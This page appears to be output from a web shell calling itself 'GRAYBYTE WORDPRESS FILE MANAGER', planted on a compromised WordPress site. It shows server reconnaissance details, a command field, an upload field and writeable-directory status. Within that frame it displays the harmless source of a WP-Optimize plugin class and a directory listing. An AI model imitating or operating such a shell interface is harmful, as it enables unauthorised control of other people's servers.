GRAYBYTE WORDPRESS FILE MANAGER5717

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/wp-optimize/webp/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/wp-optimize/webp//class-wpo-server-info.php
<?php
if (!defined('WPO_PLUGIN_MAIN_PATH')) die('No direct access allowed');

class WPO_Server_Info {

	private static $_instance = null;

	/**
	 * @var $_server_name Web server engine name
	 */
	private $_server_name;

	/**
	 * @var $_rewrite_status Web server's URL rewrite ability
	 */
	private $_rewrite_status;

	/**
	 * Setup server information
	 */
	public function __construct() {
		$this->set_server_name();
		$this->set_rewrite_status();
	}

	/**
	 * Gets singleton instance
	 *
	 * @return object
	 */
	public static function get_instance() {
		if (null === self::$_instance) {
			self::$_instance = new self();
		}
		return self::$_instance;
	}

	/**
	 * Detect and set web server names
	 */
	private function set_server_name() {
		global $is_apache, $is_nginx, $is_iis7, $is_IIS;
		
		if ($is_apache) {
			$this->_server_name = 'apache';
		}

		if ($is_iis7) {
			$this->_server_name = 'iis7';
		}

		if ($is_IIS) {
			$this->_server_name = 'iis';
		}

		if ($is_nginx) {
			$this->_server_name = 'nginx';
		}
	}

	/**
	 * Sets web server's rewrite ability
	 */
	private function set_rewrite_status() {
		if ('apache' === $this->_server_name) {
			$this->test_htaccess_capabilities();
		} else {
			$this->_rewrite_status = false;
		}
	}

	/**
	 * Test Apache/LiteSpeed server's htaccess capabilities, and sets status and info
	 */
	private function test_htaccess_capabilities() {
		$htc = WPO_Htaccess_Capabilities::get_instance();
		if ($htc->htaccess_enabled && $htc->mod_rewrite && $htc->mod_headers && $htc->mod_mime) {
			$this->_rewrite_status = true;
		} elseif ($htc->htaccess_enabled) {
			$this->_rewrite_status = false;
		}
	}

	/**
	 * Getter for web server name
	 *
	 * @return string
	 */
	public function get_server_name() {
		return $this->_server_name;
	}

	/**
	 * Getter for web server's rewrite capability
	 *
	 * @return bool
	 */
	public function get_rewrite_status() {
		return $this->_rewrite_status;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:24
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:24
giriqfky / giriqfky
0644
class-wp-optimize-webp-images.php
3.242 KB
March 13 2023 19:14:32
giriqfky / giriqfky
0644
class-wp-optimize-webp.php
15.646 KB
May 01 2025 14:24:58
giriqfky / giriqfky
0644
class-wpo-htaccess-capabilities.php
1.648 KB
June 21 2022 03:11:04
giriqfky / giriqfky
0644
class-wpo-server-info.php
1.898 KB
June 03 2022 22:20:18
giriqfky / giriqfky
0644
class-wpo-webp-alter-html.php
4.627 KB
September 16 2024 16:17:24
giriqfky / giriqfky
0644
class-wpo-webp-convert.php
1.353 KB
July 06 2023 16:18:20
giriqfky / giriqfky
0644
class-wpo-webp-self-test.php
1.589 KB
October 16 2023 19:36:50
giriqfky / giriqfky
0644
class-wpo-webp-test-run.php
1.316 KB
July 06 2023 16:18:20
giriqfky / giriqfky
0644
class-wpo-webp-utils.php
2.517 KB
May 01 2025 14:24:58
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF